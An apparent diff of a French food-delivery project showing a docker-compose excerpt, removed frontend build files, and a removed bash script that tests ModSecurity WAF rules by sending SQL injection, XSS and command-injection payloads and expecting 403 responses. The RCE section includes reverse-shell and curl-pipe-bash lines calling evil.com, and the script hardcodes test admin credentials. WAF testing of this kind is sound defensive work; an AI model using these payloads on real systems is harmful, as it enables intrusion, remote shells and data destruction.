restart: unless-stopped
|
||||
environment:
|
||||
- POSTGRES_USER=${DB_USER:-postgres}
|
||||
- POSTGRES_PASSWORD=${DB_PASSWORD}
|
||||
- POSTGRES_DB=${DB_NAME:-gestion_db}
|
||||
- PGDATA=/var/lib/postgresql/data/pgdata
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD-SHELL",
|
||||
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# Redis
|
||||
# =========================================================
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
container_name: gestion-redis
|
||||
restart: unless-stopped
|
||||
command: >
|
||||
redis-server
|
||||
--requirepass ${REDIS_PASSWORD}
|
||||
--appendonly yes
|
||||
--appendfsync everysec
|
||||
--maxmemory 256mb
|
||||
--maxmemory-policy allkeys-lru
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD",
|
||||
"redis-cli",
|
||||
"--no-auth-warning",
|
||||
"-a",
|
||||
"${REDIS_PASSWORD}",
|
||||
"ping",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 3s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# LBTelegram — Gateway Telegram load balancer
|
||||
# =========================================================
|
||||
lbtelegram:
|
||||
image: xor1234/load-balancer-tlg:latest
|
||||
container_name: gestion-lbtelegram
|
||||
restart: unless-stopped
|
||||
env_file: ./.env.lbtelegram
|
||||
environment:
|
||||
- REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0
|
||||
- DATABASE_URL=postgres://${DB_USER}:${DB_PASSWORD}@postgres:5432/${DB_NAME}?sslmode=disable
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
backend:
|
||||
condition: service_started
|
||||
|
||||
clamav:
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
memory: 1g
|
||||
cpus: 0.5
|
||||
image: clamav/clamav:latest
|
||||
container_name: gestion-clamav
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- backend_uploads:/app/uploads:ro
|
||||
- clamav_data:/var/lib/clamav
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test: ["CMD", "clamdcheck.sh"]
|
||||
interval: 60s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
start_period: 120s
|
||||
|
||||
dozzle-agent:
|
||||
image: amir20/dozzle:latest
|
||||
command: agent
|
||||
volumes:
|
||||
- /var/run/docker.sock:/var/run/docker.sock:ro
|
||||
ports:
|
||||
- "7007:7007"
|
||||
restart: unless-stopped
|
||||
|
||||
networks:
|
||||
gestion-network:
|
||||
driver: bridge
|
||||
internal: false
|
||||
driver_opts:
|
||||
com.docker.network.bridge.name: gestion-br0
|
||||
|
||||
volumes:
|
||||
postgres_data:
|
||||
driver: local
|
||||
redis_data:
|
||||
driver: local
|
||||
backend_uploads:
|
||||
driver: local
|
||||
clamav_data:
|
||||
driver: local
|
||||
@@ -1,34 +0,0 @@
|
||||
# =========================================================
|
||||
# Stage 1: Build React/Vite
|
||||
# =========================================================
|
||||
FROM node:22-alpine AS builder
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY frontend-prep/package.json frontend-prep/package-lock.json* ./
|
||||
RUN npm ci --ignore-scripts
|
||||
|
||||
COPY frontend-prep/ .
|
||||
RUN npm run build
|
||||
|
||||
# =========================================================
|
||||
# Stage 2: Nginx HTTP (TLS terminé par le WAF)
|
||||
# =========================================================
|
||||
FROM nginx:alpine AS runtime
|
||||
|
||||
COPY docker/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
||||
|
||||
COPY --from=builder /app/dist /usr/share/nginx/html
|
||||
|
||||
RUN chown -R nginx:nginx /usr/share/nginx/html && \
|
||||
mkdir -p /var/cache/nginx && \
|
||||
chown -R nginx:nginx /var/cache/nginx && \
|
||||
chown -R nginx:nginx /var/log/nginx && \
|
||||
touch /var/run/nginx.pid && \
|
||||
chown nginx:nginx /var/run/nginx.pid
|
||||
|
||||
USER nginx
|
||||
|
||||
EXPOSE 80
|
||||
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
@@ -1,16 +0,0 @@
|
||||
server {
|
||||
listen 80;
|
||||
server_name _;
|
||||
|
||||
root /usr/share/nginx/html;
|
||||
index index.html;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.html;
|
||||
}
|
||||
|
||||
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
}
|
||||
}
|
||||
@@ -1,610 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# =============================================================================
|
||||
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
|
||||
# =============================================================================
|
||||
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
|
||||
# Usage: ./test-rules.sh
|
||||
# =============================================================================
|
||||
|
||||
# Couleurs pour l'affichage
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
PURPLE='\033[0;35m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m' # No Color
|
||||
BOLD='\033[1m'
|
||||
|
||||
# Configuration
|
||||
API_BASE_URL="http://172.20.167.237"
|
||||
|
||||
# Credentials Client
|
||||
CLIENT_USERNAME="salut"
|
||||
CLIENT_PASSWORD="salut1234_"
|
||||
CLIENT_TOKEN=""
|
||||
|
||||
# Credentials Admin
|
||||
ADMIN_USERNAME="admin_1768505094"
|
||||
ADMIN_PASSWORD="AdminPass123!"
|
||||
ADMIN_TOKEN=""
|
||||
|
||||
TOTAL_TESTS=0
|
||||
PASSED_TESTS=0
|
||||
FAILED_TESTS=0
|
||||
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
|
||||
|
||||
# =============================================================================
|
||||
# Fonctions Utilitaires
|
||||
# =============================================================================
|
||||
|
||||
print_header() {
|
||||
echo -e "\n${BOLD}${CYAN}========================================${NC}"
|
||||
echo -e "${BOLD}${CYAN}$1${NC}"
|
||||
echo -e "${BOLD}${CYAN}========================================${NC}\n"
|
||||
}
|
||||
|
||||
print_section() {
|
||||
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
|
||||
}
|
||||
|
||||
print_test() {
|
||||
echo -e "${YELLOW}[TEST] $1${NC}"
|
||||
}
|
||||
|
||||
print_success() {
|
||||
((PASSED_TESTS++))
|
||||
((TOTAL_TESTS++))
|
||||
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
print_fail() {
|
||||
((FAILED_TESTS++))
|
||||
((TOTAL_TESTS++))
|
||||
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
print_info() {
|
||||
echo -e "${CYAN}ℹ INFO${NC} - $1"
|
||||
}
|
||||
|
||||
print_warning() {
|
||||
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
|
||||
}
|
||||
|
||||
print_response() {
|
||||
echo -e "${PURPLE}📄 Response:${NC} $1"
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP avec token client
|
||||
http_test_client() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
local extra_headers=$6
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP avec token admin
|
||||
http_test_admin() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
local extra_headers=$6
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
echo "$body"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP sans authentification
|
||||
http_test_no_auth() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Content-Type: application/json" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Authentification
|
||||
# =============================================================================
|
||||
|
||||
authenticate() {
|
||||
print_header "AUTHENTIFICATION"
|
||||
|
||||
# ==================== CLIENT LOGIN ====================
|
||||
print_section "1. Login Client"
|
||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
|
||||
"${API_BASE_URL}/api/v1/auth/login")
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq 200 ]; then
|
||||
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||
if [ -n "$CLIENT_TOKEN" ]; then
|
||||
print_success "Login Client réussi - Token obtenu"
|
||||
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
|
||||
else
|
||||
print_fail "Login Client réussi mais token non trouvé"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
print_fail "Échec du login Client (HTTP $http_code)"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ==================== ADMIN LOGIN ====================
|
||||
print_section "2. Login Admin"
|
||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
|
||||
"${API_BASE_URL}/api/v2/admin/auth/login")
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq 200 ]; then
|
||||
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||
if [ -n "$ADMIN_TOKEN" ]; then
|
||||
print_success "Login Admin réussi - Token obtenu"
|
||||
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
|
||||
else
|
||||
print_fail "Login Admin réussi mais token non trouvé"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
print_fail "Échec du login Admin (HTTP $http_code)"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests SQL Injection
|
||||
# =============================================================================
|
||||
|
||||
test_sql_injection() {
|
||||
print_header "TESTS SQL INJECTION"
|
||||
|
||||
print_section "1. SQL Injection - Login"
|
||||
|
||||
# Test 1: SQL Injection classique dans login client
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - Login Client OR 1=1"
|
||||
|
||||
# Test 2: SQL Injection dans login admin
|
||||
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
|
||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - Login Admin OR 1=1"
|
||||
|
||||
# Test 3: SQL Injection avec UNION
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
|
||||
403 "SQLi - UNION SELECT"
|
||||
|
||||
# Test 4: SQL Injection avec DROP TABLE
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
|
||||
403 "SQLi - DROP TABLE"
|
||||
|
||||
# Test 5: SQL Injection avec commentaire
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\''--","password":"test"}' \
|
||||
403 "SQLi - Commentaire SQL --"
|
||||
|
||||
print_section "2. SQL Injection - Panier"
|
||||
|
||||
# Test 6: SQL Injection dans name_product
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
|
||||
403 "SQLi - Panier name_product"
|
||||
|
||||
# Test 7: SQL Injection dans category
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
|
||||
403 "SQLi - Panier category"
|
||||
|
||||
print_section "3. SQL Injection - Admin"
|
||||
|
||||
# Test 8: SQL Injection dans username pénalité
|
||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
|
||||
403 "SQLi - Username pénalité"
|
||||
|
||||
# Test 9: SQL Injection dans paramètres commandes
|
||||
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
|
||||
"" \
|
||||
403 "SQLi - Paramètres commandes"
|
||||
|
||||
# Test 10: SQL Injection dans ID commande
|
||||
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
|
||||
"" \
|
||||
403 "SQLi - ID commande"
|
||||
|
||||
# Test 11: SQL Injection dans username livreur
|
||||
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
|
||||
"" \
|
||||
403 "SQLi - Username livreur"
|
||||
|
||||
print_section "4. SQL Injection - Commandes Client"
|
||||
|
||||
# Test 12: SQL Injection dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
|
||||
403 "SQLi - Adresse checkout"
|
||||
|
||||
# Test 13: SQL Injection nom produit admin
|
||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
|
||||
403 "SQLi - Nom produit admin"
|
||||
|
||||
print_section "5. SQL Injection - Variantes avancées"
|
||||
|
||||
# Test 14: SQL Injection avec AND
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - AND condition"
|
||||
|
||||
# Test 15: SQL Injection avec encodage hex
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
|
||||
403 "SQLi - Encodage hex"
|
||||
|
||||
# Test 16: SQL Injection avec SLEEP (Time-based)
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
|
||||
403 "SQLi - Time-based SLEEP"
|
||||
|
||||
# Test 17: SQL Injection avec BENCHMARK
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
|
||||
403 "SQLi - BENCHMARK"
|
||||
|
||||
# Test 18: SQL Injection avec sous-requête
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
|
||||
403 "SQLi - Sous-requête"
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests XSS (Cross-Site Scripting)
|
||||
# =============================================================================
|
||||
|
||||
test_xss() {
|
||||
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
|
||||
|
||||
print_section "1. XSS - Login"
|
||||
|
||||
# Test 1: XSS basique avec script tag
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||
403 "XSS - Script tag basique"
|
||||
|
||||
# Test 2: XSS avec event handler
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
|
||||
403 "XSS - Event handler onerror"
|
||||
|
||||
# Test 3: XSS avec SVG
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<svg onload=alert(1)>","password":"test"}' \
|
||||
403 "XSS - SVG onload"
|
||||
|
||||
print_section "2. XSS - Panier"
|
||||
|
||||
# Test 4: XSS dans name_product
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
|
||||
403 "XSS - Panier name_product"
|
||||
|
||||
# Test 5: XSS dans category
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
|
||||
403 "XSS - Panier category"
|
||||
|
||||
print_section "3. XSS - Admin"
|
||||
|
||||
# Test 6: XSS dans raison pénalité
|
||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
|
||||
400 "XSS - Raison pénalité"
|
||||
|
||||
# Test 7: XSS dans paramètres commandes
|
||||
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
|
||||
"" \
|
||||
403 "XSS - Paramètres commandes"
|
||||
|
||||
# Test 8: XSS dans description produit
|
||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
|
||||
403 "XSS - Description produit"
|
||||
|
||||
print_section "4. XSS - Commandes Client"
|
||||
|
||||
# Test 9: XSS dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Adresse checkout"
|
||||
|
||||
# Test 10: XSS dans commentaire approbation
|
||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Commentaire approbation"
|
||||
|
||||
# Test 11: XSS dans raison annulation
|
||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||
'{"reason":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Raison annulation"
|
||||
|
||||
print_section "5. XSS - Variantes avancées"
|
||||
|
||||
# Test 12: XSS avec iframe
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
|
||||
403 "XSS - iframe javascript"
|
||||
|
||||
# Test 13: XSS avec body onload
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<body onload=alert(1)>","password":"test"}' \
|
||||
403 "XSS - body onload"
|
||||
|
||||
# Test 14: XSS avec input autofocus
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
|
||||
403 "XSS - input autofocus"
|
||||
|
||||
# Test 15: XSS avec marquee
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
|
||||
403 "XSS - marquee onstart"
|
||||
|
||||
# Test 16: XSS avec details/summary
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
|
||||
403 "XSS - details ontoggle"
|
||||
|
||||
# Test 17: XSS avec javascript: protocol
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
|
||||
403 "XSS - javascript protocol"
|
||||
|
||||
# Test 18: XSS avec data: URI
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
|
||||
403 "XSS - data URI"
|
||||
|
||||
# Test 19: XSS encodé HTML
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||
403 "XSS - Encodage HTML entities"
|
||||
|
||||
# Test 20: XSS avec polyglotte
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
|
||||
403 "XSS - Polyglotte"
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests RCE (Remote Code Execution)
|
||||
# =============================================================================
|
||||
|
||||
test_rce() {
|
||||
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
|
||||
|
||||
print_section "1. RCE - Command Injection basique"
|
||||
|
||||
# Test 1: Command substitution avec $()
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Command substitution"
|
||||
|
||||
# Test 2: Command substitution avec backticks
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Command substitution backticks"
|
||||
|
||||
# Test 3: Pipe command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Pipe command"
|
||||
|
||||
# Test 4: Semicolon command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Semicolon chaining"
|
||||
|
||||
# Test 5: AND command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - AND chaining"
|
||||
|
||||
# Test 6: OR command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - OR chaining"
|
||||
|
||||
print_section "2. RCE - Commandes système dangereuses"
|
||||
|
||||
# Test 7: cat /etc/passwd
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - cat /etc/passwd"
|
||||
|
||||
# Test 8: ls command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - ls command"
|
||||
|
||||
# Test 9: wget command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - wget download"
|
||||
|
||||
# Test 10: curl command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - curl pipe bash"
|
||||
|
||||
# Test 11: nc (netcat) reverse shell
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - netcat reverse shell"
|
||||
|
||||
# Test 12: bash reverse shell
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - bash reverse shell"
|
||||
|
||||
print_section "3. RCE - Dans autres endpoints"
|
||||
|
||||
# Test 13: RCE dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"$(whoami)"}' \
|
||||
403 "RCE - Adresse checkout"
|
||||
|
||||
# Test 14: RCE dans login
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"$(id)","password":"test"}' \
|
||||
403 "RCE - Login username"
|
||||
|
||||
# Test 15: RCE dans commentaire
|
||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||
'{"rating":5,"comment":"$(uname -a)"}' \
|
||||
403 "RCE - Commentaire approbation"
|
||||
|
||||
# Test 16: RCE dans raison annulation
|
||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||
'{"reason":"$(pwd)"}' \
|
||||
403 "RCE - Raison annulation"
|
||||
|
||||
print_section "4. RCE - Python/Perl/Ruby injection"
|
||||
|
||||
# Test 17: Python code execution
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Python import os"
|
||||
|
||||
# Test 18: eval() injection
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - eval injection"
|
||||
|
||||
# Test 19: exec() injection
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - exec injection"
|
||||
|
||||
# Test 20: system() call
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - system call"
|
||||
}
|
||||
|
||||
main() {
|
||||
# Exécution des tests
|
||||
authenticate
|
||||
test_rce
|
||||
test_xss
|
||||
test_sql_injection
|
||||
http_test_no_auth
|
||||
}
|
||||
|
||||
main
|
||||
Reference in New Issue
Block a user